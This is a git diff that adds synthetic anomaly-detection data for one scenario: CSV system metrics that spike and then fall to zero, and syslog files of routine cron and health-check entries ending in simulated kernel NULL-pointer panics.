+2025-07-18T14:07:20Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T14:07:25Z,0.0,0.0,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_17/anom_17_15.log b/anom_dataset/scenario_17/anom_17_15.log new file mode 100644 index 0000000000000000000000000000000000000000..6a59c6d38eb622936b51c61ae07f85b47d5ca7b3 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_15.log @@ -0,0 +1,73 @@ +Jul 18 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 18 14:00:00 CRON[123]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 14:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:00:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:00:40 CRON[1107]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 14:00:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:01:15 systemd[1]: Starting daily clean up activities... +Jul 18 14:01:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:01:20 CRON[2091]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 14:01:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:02:00 CRON[3075]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 14:02:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:02:30 systemd[1]: Starting daily clean up activities... +Jul 18 14:02:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:02:40 CRON[4059]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 14:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:03:20 CRON[5043]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 14:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:03:45 systemd[1]: Starting daily clean up activities... +Jul 18 14:03:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:04:00 CRON[6027]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 14:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:04:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:04:40 CRON[7011]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 14:05:00 systemd[1]: Starting daily clean up activities... +Jul 18 14:05:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:05:20 CRON[7995]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 14:05:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 14:05:50 kernel: BUG: unable to handle kernel NULL pointer dereference at (null) +Jul 18 14:05:50 kernel: IP: [] generic_make_request+0x2a/0x50 +Jul 18 14:05:50 kernel: PGD 1e49067 PUD 1e4b067 PMD 0 +Jul 18 14:05:50 kernel: Oops: 0000 [#1] PREEMPT SMP +Jul 18 14:05:50 kernel: Modules linked in: iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi dm_mirror dm_region_hash dm_log dm_mod sb_edac edac_core iTCO_wdt iTCO_vendor_support serio_raw pcspkr sg lpc_ich mfd_core shpchp ioatdma dca acpi_pad button video +Jul 18 14:05:50 kernel: CPU: 1 PID: 2478 Comm: kworker/1:1 Tainted: G D 3.10.0-514.el7.x86_64 #1 +Jul 18 14:05:50 kernel: Hardware name: Supermicro SYS-6018R-WTR/X10DRW-i, BIOS 2.0 11/20/2015 +Jul 18 14:05:50 kernel: Workqueue: scsi_wq_1 iscsi_scsi_queue_work +Jul 18 14:05:50 kernel: task: ffff88021a8b4b80 ti: ffff880213d2c000 task.ti: ffff880213d2c000 +Jul 18 14:05:50 kernel: RIP: 0010:[] [] generic_make_request+0x2a/0x50 +Jul 18 14:05:50 kernel: RSP: 0018:ffff880213d2fa78 EFLAGS: 00010246 +Jul 18 14:05:50 kernel: RAX: 0000000000000000 RBX: ffff880213d2faf8 RCX: 0000000000000000 +Jul 18 14:05:50 kernel: RDX: 0000000000000000 RSI: ffff880214a1f6c0 RDI: 0000000000000000 +Jul 18 14:05:50 kernel: RBP: ffff880213d2fa78 R08: ffff880214a1f6c0 R09: 0000000000000001 +Jul 18 14:05:50 kernel: R10: 0000000000000001 R11: ffff880213d2faa8 R12: ffff880215705a00 +Jul 18 14:05:50 kernel: R13: ffff880214a1f6c0 R14: 0000000000000000 R15: ffff880215705a00 +Jul 18 14:05:50 kernel: FS: 0000000000000000(0000) GS:ffff88021f640000(0000) knlGS:0000000000000000 +Jul 18 14:05:50 kernel: CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +Jul 18 14:05:50 kernel: CR2: 0000000000000000 CR3: 0000000001c0c000 CR4: 00000000001407e0 +Jul 18 14:05:50 kernel: Call Trace: +Jul 18 14:05:50 kernel: [] iscsi_queuecommand+0x37/0x40 [libiscsi] +Jul 18 14:05:50 kernel: [] scsi_dispatch_cmd+0x98/0x1a0 +Jul 18 14:05:50 kernel: [] scsi_request_fn+0x397/0x520 +Jul 18 14:05:50 kernel: [] __blk_run_queue+0x31/0x40 +Jul 18 14:05:50 kernel: [] blk_queue_bio+0x173/0x3c0 +Jul 18 14:05:50 kernel: [] generic_make_request+0x9a/0x130 +Jul 18 14:05:50 kernel: [] submit_bio+0x6c/0x140 +Jul 18 14:05:50 kernel: [] submit_bh+0x109/0x190 +Jul 18 14:05:50 kernel: [] __ext4_handle_dirty_super+0x85/0x140 +Jul 18 14:05:50 kernel: [] ext4_commit_super+0x2c4/0x320 +Jul 18 14:05:50 kernel: [] ext4_put_super+0x91/0x270 +Jul 18 14:05:50 kernel: [] generic_shutdown_super+0x66/0x100 +Jul 18 14:05:50 kernel: [] kill_block_super+0x29/0x70 +Jul 18 14:05:50 kernel: [] deactivate_super+0x49/0x80 +Jul 18 14:05:50 kernel: [] mntput_to_sb+0x29/0x40 +Jul 18 14:05:50 kernel: [] sys_umount+0x353/0x400 +Jul 18 14:05:50 kernel: [] system_call_fastpath+0x16/0x1b +Jul 18 14:05:50 kernel: Code: 48 8b 57 10 48 8d 7a 18 48 8b 47 18 48 85 c0 74 08 48 8b 00 48 85 c0 75 0b 48 8b 40 10 48 8b 78 08 eb 03 48 8b 78 08 55 48 89 e5 <48> 8b 47 28 48 85 c0 74 05 e8 9c f3 ff ff 5d c3 66 66 66 66 90 +Jul 18 14:05:50 kernel: RIP [] generic_make_request+0x2a/0x50 +Jul 18 14:05:50 kernel: RSP +Jul 18 14:05:50 kernel: CR2: 0000000000000000 +Jul 18 14:05:50 kernel: ---[ end trace 2d5b7a1d1e4c3d4f ]--- +Jul 18 14:05:50 kernel: Kernel panic - not syncing: Fatal exception in interrupt +Jul 18 14:05:50 kernel: Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffff9fffffff) +Jul 18 14:05:50 kernel: Rebooting in 30 seconds.. diff --git a/anom_dataset/scenario_17/anom_17_16.csv b/anom_dataset/scenario_17/anom_17_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..dd6abfecc8c8ec18d97a0179afe53e48e0809675 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-18T10:00:00Z,17.483570765056164,40.776620394784324,36.25667347765006,1.6323819867198346,1.0038693028482344 +2025-07-18T10:00:05Z,14.308678494144077,47.74915992426311,21.428424435837172,0.7692413546461682,1.2065477826005155 +2025-07-18T10:00:10Z,18.23844269050346,34.38357524898118,19.291075019388877,1.5489491256464878,0.8782479703086286 +2025-07-18T10:00:15Z,22.61514928204013,37.37870282721786,34.824724152431855,1.2030699183058762,0.9803423444197883 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+2025-07-18T10:07:00Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:07:05Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:07:10Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:07:15Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:07:20Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:07:25Z,0.0,0.0,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_17/anom_17_16.log b/anom_dataset/scenario_17/anom_17_16.log new file mode 100644 index 0000000000000000000000000000000000000000..7fdceec18773ce2f5892fe57c7c5dbfea77754a4 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_16.log @@ -0,0 +1,45 @@ +Jul 18 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 18 10:00:15 web-app[3456]: GET /api/v2/status status=200 OK +Jul 18 10:00:40 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 10:01:15 web-app[3456]: GET /api/v2/user/34 status=200 OK +Jul 18 10:02:05 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 18 10:02:55 systemd[1]: Starting session 45 of user root. +Jul 18 10:03:45 web-app[3456]: POST /api/v2/login status=200 OK +Jul 18 10:04:35 CRON[6590]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) +Jul 18 10:04:55 web-app[3456]: GET /api/v2/data/stream status=200 OK +Jul 18 10:05:00 kernel: [12345.678901] BUG: unable to handle kernel NULL pointer dereference at (null) +Jul 18 10:05:00 kernel: [12345.678905] IP: [] generic_make_request+0x10/0x200 [some_driver] +Jul 18 10:05:00 kernel: [12345.678910] PGD 0 P4D 0 +Jul 18 10:05:00 kernel: [12345.678915] Oops: 0000 [#1] PREEMPT SMP +Jul 18 10:05:00 kernel: [12345.678920] Modules linked in: some_driver(O) another_module(O) +Jul 18 10:05:00 kernel: [12345.678925] CPU: 2 PID: 123 Comm: kworker/u16:1 Tainted: G O 4.4.0-116-generic #140-Ubuntu +Jul 18 10:05:00 kernel: [12345.678930] Hardware name: Supermicro SYS-5018R-WR/X10SRW-F, BIOS 2.0 11/20/2015 +Jul 18 10:05:00 kernel: [12345.678935] task: ffff8801b7c0d000 ti: ffff8801b7c10000 task.ti: ffff8801b7c10000 +Jul 18 10:05:00 kernel: [12345.678940] RIP: 0010:[] [] generic_make_request+0x10/0x200 [some_driver] +Jul 18 10:05:00 kernel: [12345.678945] RSP: 0018:ffff8801b7c13e08 EFLAGS: 00010246 +Jul 18 10:05:00 kernel: [12345.678950] RAX: 0000000000000000 RBX: ffff8801b7c13e88 RCX: 0000000000000000 +Jul 18 10:05:00 kernel: [12345.678955] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff8801b7c13e88 +Jul 18 10:05:00 kernel: [12345.678960] RBP: ffff8801b7c13e18 R08: 0000000000000000 R09: 0000000000000000 +Jul 18 10:05:00 kernel: [12345.678965] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8801b7c13e88 +Jul 18 10:05:00 kernel: [12345.678970] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 +Jul 18 10:05:00 kernel: [12345.678975] FS: 0000000000000000(0000) GS:ffff8801bf480000(0000) knlGS:0000000000000000 +Jul 18 10:05:00 kernel: [12345.678980] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +Jul 18 10:05:00 kernel: [12345.678985] CR2: 0000000000000000 CR3: 0000000001c0a000 CR4: 00000000001406e0 +Jul 18 10:05:00 kernel: [12345.678990] Stack: +Jul 18 10:05:00 kernel: [12345.678995] ffffffffa0d7a0b0 ffff8801b7c13e88 ffff8801b7c13e88 0000000000000000 +Jul 18 10:05:00 kernel: [12345.679000] ffffffff812f8600 ffff8801b7c13e88 ffffffff812f8600 ffff8801b7c13e88 +Jul 18 10:05:00 kernel: [12345.679005] Call Trace: +Jul 18 10:05:00 kernel: [12345.679010] [] ? submit_bio+0x70/0x140 +Jul 18 10:05:00 kernel: [12345.679015] [] ? some_driver_request+0x100/0x200 [some_driver] +Jul 18 10:05:00 kernel: [12345.679020] [] ? process_one_work+0x158/0x480 +Jul 18 10:05:00 kernel: [12345.679025] [] ? worker_thread+0x115/0x450 +Jul 18 10:05:00 kernel: [12345.679030] [] ? kthread+0xd8/0xf0 +Jul 18 10:05:00 kernel: [12345.679035] [] ? ret_from_fork+0x1f/0x40 +Jul 18 10:05:00 kernel: [12345.679040] Code: 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 53 48 83 ec 10 65 48 8b 04 25 28 00 00 00 48 89 45 d8 48 8b 9f 80 00 00 00 <0f> b6 03 84 c0 74 2c 48 8b 9f 88 00 00 00 48 85 db 74 2a 48 +Jul 18 10:05:00 kernel: [12345.679100] RIP [] generic_make_request+0x10/0x200 [some_driver] +Jul 18 10:05:00 kernel: [12345.679105] RSP +Jul 18 10:05:00 kernel: [12345.679108] CR2: 0000000000000000 +Jul 18 10:05:00 kernel: [12345.679120] ---[ end trace 1a2b3c4d5e6f7g8h ]--- +Jul 18 10:05:00 kernel: [12345.679125] Kernel panic - not syncing: Fatal exception in interrupt +Jul 18 10:05:00 kernel: [12345.679130] Kernel Offset: disabled +Jul 18 10:05:00 kernel: [12345.679135] ---[ end Kernel panic - not syncing: Fatal exception in interrupt diff --git a/anom_dataset/scenario_17/anom_17_17.csv b/anom_dataset/scenario_17/anom_17_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..9e404743258896e879f5d92a284f0e383a3565fc --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-18T10:00:00Z,5.3,35.16,31.58,1.11,1.22 +2025-07-18T10:00:05Z,16.91,46.51,30.77,1.17,0.96 +2025-07-18T10:00:10Z,16.65,39.94,36.82,1.22,1.01 +2025-07-18T10:00:15Z,10.38,36.27,36.36,1.74,1.1 +2025-07-18T10:00:20Z,9.77,27.36,40.48,1.52,0.42 +2025-07-18T10:00:25Z,17.0,60.32,25.87,1.48,0.62 +2025-07-18T10:00:30Z,18.86,54.25,24.76,1.13,1.39 +2025-07-18T10:00:35Z,9.99,52.88,33.36,1.19,0.43 +2025-07-18T10:00:40Z,15.82,49.59,20.04,1.06,0.79 +2025-07-18T10:00:45Z,15.64,30.34,38.92,1.42,1.04 +2025-07-18T10:00:50Z,28.65,39.56,35.79,1.5,0.78 +2025-07-18T10:00:55Z,8.55,36.09,15.4,0.94,1.27 +2025-07-18T10:01:00Z,10.37,27.29,45.31,0.76,1.3 +2025-07-18T10:01:05Z,11.59,46.11,32.36,1.4,1.36 +2025-07-18T10:01:10Z,20.9,49.85,39.08,0.95,0.67 +2025-07-18T10:01:15Z,12.18,32.64,18.91,0.9,0.71 +2025-07-18T10:01:20Z,18.46,34.12,28.44,1.37,1.02 +2025-07-18T10:01:25Z,22.24,42.63,26.11,1.45,1.31 +2025-07-18T10:01:30Z,17.51,31.56,40.18,1.56,1.02 +2025-07-18T10:01:35Z,20.59,33.37,42.33,1.5,0.64 +2025-07-18T10:01:40Z,12.92,35.64,29.04,0.58,0.85 +2025-07-18T10:01:45Z,6.22,40.03,25.46,1.39,1.31 +2025-07-18T10:01:50Z,15.71,47.75,32.6,1.36,0.83 +2025-07-18T10:01:55Z,13.82,41.26,42.35,1.25,1.19 +2025-07-18T10:02:00Z,23.54,52.32,49.17,1.15,1.14 +2025-07-18T10:02:05Z,18.44,42.61,29.69,1.29,0.78 +2025-07-18T10:02:10Z,14.78,43.07,32.28,2.04,0.94 +2025-07-18T10:02:15Z,21.94,42.47,28.29,1.59,1.22 +2025-07-18T10:02:20Z,12.82,47.73,30.77,1.18,0.85 +2025-07-18T10:02:25Z,18.87,58.07,18.57,1.3,0.48 +2025-07-18T10:02:30Z,15.83,48.57,34.92,0.71,0.78 +2025-07-18T10:02:35Z,16.77,29.53,30.87,1.3,0.67 +2025-07-18T10:02:40Z,12.01,44.45,49.45,0.95,1.13 +2025-07-18T10:02:45Z,13.23,35.88,30.9,0.57,0.92 +2025-07-18T10:02:50Z,12.99,39.66,34.47,1.85,0.67 +2025-07-18T10:02:55Z,14.26,34.09,27.36,0.72,0.66 +2025-07-18T10:03:00Z,5.65,39.29,20.4,1.36,1.48 +2025-07-18T10:03:05Z,13.07,46.8,34.47,1.18,0.77 +2025-07-18T10:03:10Z,19.74,47.79,26.62,1.21,1.41 +2025-07-18T10:03:15Z,29.9,42.59,24.44,1.15,1.29 +2025-07-18T10:03:20Z,23.07,49.01,19.65,0.95,1.06 +2025-07-18T10:03:25Z,9.7,54.4,31.68,1.44,0.65 +2025-07-18T10:03:30Z,16.23,38.38,26.73,1.51,1.29 +2025-07-18T10:03:35Z,13.08,57.59,14.64,0.82,1.05 +2025-07-18T10:03:40Z,18.63,40.92,38.51,1.34,1.34 +2025-07-18T10:03:45Z,18.73,26.8,9.78,0.85,1.01 +2025-07-18T10:03:50Z,16.39,39.3,19.73,0.76,0.98 +2025-07-18T10:03:55Z,14.76,45.94,29.09,1.14,1.06 +2025-07-18T10:04:00Z,13.02,26.9,0.0,0.65,0.94 +2025-07-18T10:04:05Z,18.43,43.9,21.83,1.48,0.97 +2025-07-18T10:04:10Z,21.47,48.12,6.49,1.64,1.19 +2025-07-18T10:04:15Z,15.77,53.05,24.25,1.33,0.91 +2025-07-18T10:04:20Z,17.46,32.8,32.44,1.16,0.94 +2025-07-18T10:04:25Z,9.19,34.33,21.92,1.46,0.98 +2025-07-18T10:04:30Z,14.51,41.4,46.61,1.47,0.94 +2025-07-18T10:04:35Z,12.99,40.82,47.3,1.02,0.98 +2025-07-18T10:04:40Z,14.26,27.16,40.84,1.17,0.81 +2025-07-18T10:04:45Z,16.64,38.98,15.13,1.63,0.58 +2025-07-18T10:04:50Z,13.13,44.58,21.19,1.07,0.98 +2025-07-18T10:04:55Z,17.7,23.68,43.29,1.42,1.28 +2025-07-18T10:05:00Z,99.8,95.5,350.0,1.35,1.41 +2025-07-18T10:05:05Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:05:10Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:05:15Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:05:20Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:05:25Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:05:30Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:05:35Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:05:40Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:05:45Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:05:50Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:05:55Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:00Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:05Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:10Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:15Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:20Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:25Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:30Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:35Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:40Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:45Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:50Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:06:55Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:07:00Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:07:05Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:07:10Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:07:15Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:07:20Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T10:07:25Z,0.0,0.0,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_17/anom_17_17.log b/anom_dataset/scenario_17/anom_17_17.log new file mode 100644 index 0000000000000000000000000000000000000000..651906d5c4111f25e9ee8c4ab595c6db6423e999 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_17.log @@ -0,0 +1,41 @@ +Jul 18 10:00:10 systemd[1]: Starting daily clean up activities... +Jul 18 10:00:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 10:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 10:02:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 18 10:03:50 systemd[1]: Started session 123 of user root. +Jul 18 10:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 18 10:05:00 kernel: [12345.678901] BUG: unable to handle kernel NULL pointer dereference at (null) +Jul 18 10:05:00 kernel: [12345.678905] IP: [] sched_exec+0x45/0x50 +Jul 18 10:05:00 kernel: [12345.678910] PGD 0 +Jul 18 10:05:00 kernel: [12345.678912] Oops: 0000 [#1] PREEMPT SMP +Jul 18 10:05:00 kernel: [12345.678915] Modules linked in: new_driver(O) coretemp kvm_intel kvm crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel lrw gf128mul glue_helper ablk_helper cryptd pcspkr sg i2c_piix4 +Jul 18 10:05:00 kernel: [12345.678928] CPU: 1 PID: 123 Comm: my_buggy_proc Tainted: G O 4.4.0-116-generic #140-Ubuntu +Jul 18 10:05:00 kernel: [12345.678930] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 +Jul 18 10:05:00 kernel: [12345.678933] task: ffff88003a9f0000 ti: ffff88003a9f4000 task.ti: ffff88003a9f4000 +Jul 18 10:05:00 kernel: [12345.678936] RIP: 0010:[] [] sched_exec+0x45/0x50 +Jul 18 10:05:00 kernel: [12345.678946] RSP: 0018:ffff88003a9f7d68 EFLAGS: 00010246 +Jul 18 10:05:00 kernel: [12345.678949] RAX: 0000000000000000 RBX: ffff88003a9f7e88 RCX: 0000000000000000 +Jul 18 10:05:00 kernel: [12345.678952] RDX: 0000000000000000 RSI: ffff88003a9f7e88 RDI: 0000000000000000 +Jul 18 10:05:00 kernel: [12345.678955] RBP: ffff88003a9f7d68 R08: 0000000000000000 R09: 0000000000000000 +Jul 18 10:05:00 kernel: [12345.678958] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88003a9f7e88 +Jul 18 10:05:00 kernel: [12345.678961] R13: ffff88003a9f7e88 R14: 0000000000000000 R15: 0000000000000000 +Jul 18 10:05:00 kernel: [12345.678964] FS: 00007f7f5c5b8700(0000) GS:ffff88003ed00000(0000) knlGS:0000000000000000 +Jul 18 10:05:00 kernel: [12345.678967] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +Jul 18 10:05:00 kernel: [12345.678970] CR2: 0000000000000000 CR3: 000000003a9f6000 CR4: 00000000000406f0 +Jul 18 10:05:00 kernel: [12345.678973] Stack: +Jul 18 10:05:00 kernel: [12345.678974] ffffffff8183184f ffff88003a9f7e88 ffff88003a9f7df8 ffffffff810c3f5e +Jul 18 10:05:00 kernel: [12345.678979] ffffffff810c3f4e 0000000000000000 ffff88003a9f7e88 ffff88003a9f7e88 +Jul 18 10:05:00 kernel: [12345.678984] ffff88003a9f7e38 ffffffff810c40e0 0000000000000000 ffff88003a9f7e88 +Jul 18 10:05:00 kernel: [12345.678989] Call Trace: +Jul 18 10:05:00 kernel: [12345.678994] [] do_execveat_common.isra.33+0x1ef/0x240 +Jul 18 10:05:00 kernel: [12345.678999] [] ? __do_page_fault+0x1e/0x20 +Jul 18 10:05:00 kernel: [12345.679004] [] do_syscall_64+0x70/0x180 +Jul 18 10:05:00 kernel: [12345.679009] [] entry_SYSCALL_64_fastpath+0x12/0x71 +Jul 18 10:05:00 kernel: [12345.679012] Code: 48 89 e5 48 89 7d e8 48 8b 07 48 8b 50 10 48 85 c9 74 0e 48 8b 41 08 48 85 c0 74 05 e8 9d 57 7c 00 5d c3 48 8b 7f 10 5d c3 <0f> 0b 66 66 66 66 90 55 48 89 e5 48 8b 3f e8 ab 56 7c 00 5d c3 +Jul 18 10:05:00 kernel: [12345.679052] RIP [] sched_exec+0x45/0x50 +Jul 18 10:05:00 kernel: [12345.679058] RSP +Jul 18 10:05:00 kernel: [12345.679061] CR2: 0000000000000000 +Jul 18 10:05:00 kernel: [12345.679065] ---[ end trace 1a2b3c4d5e6f7g8h ]--- +Jul 18 10:05:00 kernel: [12345.679068] Kernel panic - not syncing: Fatal exception in interrupt +Jul 18 10:05:00 kernel: [12345.679075] Kernel Offset: disabled +Jul 18 10:05:00 kernel: [12345.679078] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]--- diff --git a/anom_dataset/scenario_17/anom_17_18.csv b/anom_dataset/scenario_17/anom_17_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..369d8c85df352b215cf4b786cd471e7261754dda --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-18T10:00:00Z,15.303148757073153,51.72763651707003,51.25804817665097,0.9454764715915583,0.1458508663272564 +2025-07-18T10:00:05Z,26.9122451739033,45.13433352656965,57.99480280818419,1.4221174792408195,1.6737302757585086 +2025-07-18T10:00:10Z,26.646544078004933,45.68992608054581,37.97658094960924,1.3054783437854351,1.0156206807706418 +2025-07-18T10:00:15Z,20.382746908309528,40.641246265557996,61.98472752345746,2.0091768736368945,1.0968141606298298 +2025-07-18T10:00:20Z,19.76947688239812,40.66846022690653,41.150086993447225,2.1165222843174756,1.7007405504110422 +2025-07-18T10:00:25Z,27.002601958841524,46.4977961516075,23.50394859023931,1.4519467767434655,1.6798857176669464 +2025-07-18T10:00:30Z,28.863145219187185,60.60073058621068,39.12266019216634,1.2732302189359337,1.6816635007463387 +2025-07-18T10:00:35Z,19.988468970200643,52.59708821931052,47.423239090965474,1.63002074847611,1.478285193502498 +2025-07-18T10:00:40Z,25.824072054821013,41.489311748691556,23.619892438378645,2.1177383590720975,1.4676286087158457 +2025-07-18T10:00:45Z,25.637586950952365,54.56049026559647,44.869683164136454,2.458514623276989,0.895286411563869 +2025-07-18T10:00:50Z,38.6454986711493,51.290711402614285,50.155725615909304,1.4843345341934724,1.080742053571269 +2025-07-18T10:00:55Z,18.547447110177576,58.10563647894756,56.31481565943175,1.6142419875428293,1.155440998738099 +2025-07-18T10:01:00Z,20.36784114692243,45.38919380783226,30.994375952938725,1.4147307846861576,1.2316013890209156 +2025-07-18T10:01:05Z,21.589279794968768,46.01207716774801,32.91354389180364,1.538676302756761,1.9238565841052855 +2025-07-18T10:01:10Z,30.902413458366638,49.329717660173074,41.74615249047129,0.9286023264881755,1.6285998016257088 +2025-07-18T10:01:15Z,22.18233316967961,36.03021778752303,41.02539032726815,1.745771131117509,1.574411278450173 +2025-07-18T10:01:20Z,28.456901698124206,49.08545673177644,23.954464524665756,1.5433730619833366,1.1037126107291788 +2025-07-18T10:01:25Z,32.2355660317328,57.59745120058147,38.72624418798341,2.472600920311957,1.1801388375511777 +2025-07-18T10:01:30Z,27.514254478418945,57.43560028230372,45.725571719208254,1.5451636279597392,1.0092026364917313 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b/anom_dataset/scenario_17/anom_17_18.log @@ -0,0 +1,33 @@ +Jul 18 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 18 10:00:35 web-app[3456]: GET /api/v1/health status=200 OK +Jul 18 10:00:50 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 10:01:10 web-app[3456]: GET /api/v1/health status=200 OK +Jul 18 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 18 10:01:40 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 10:01:45 web-app[3456]: GET /api/v1/health status=200 OK +Jul 18 10:02:20 web-app[3456]: GET /api/v1/health status=200 OK +Jul 18 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 18 10:02:55 web-app[3456]: GET /api/v1/health status=200 OK +Jul 18 10:02:55 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Jul 18 10:03:20 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 10:03:20 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Jul 18 10:03:30 web-app[3456]: GET /api/v1/health status=200 OK +Jul 18 10:03:45 systemd[1]: Starting daily clean up activities... +Jul 18 10:03:45 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Jul 18 10:04:05 web-app[3456]: GET /api/v1/health status=200 OK +Jul 18 10:04:10 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 18 10:04:10 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Jul 18 10:04:35 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Jul 18 10:04:40 web-app[3456]: GET /api/v1/health status=200 OK +Jul 18 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 18 10:05:00 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Jul 18 10:05:15 web-app[3456]: GET /api/v1/health status=200 OK +Jul 18 10:05:25 kernel: [12345.678901] segfault at ffffffffc0f0b4d4 ip 0000000000000000 sp ffff8801e6e97b50 error 7 in some_driver[some_driver_module] +Jul 18 10:05:25 kernel: [12345.679123] Code: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00> 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +Jul 18 10:05:25 kernel: [12345.680543] RIP: [] some_function+0x0/0x20 [some_driver_module] +Jul 18 10:05:25 kernel: [12345.681234] BUG: unable to handle kernel NULL pointer dereference at (null) +Jul 18 10:05:26 kernel: [12346.100456] Oops: 0000 [#1] SMP +Jul 18 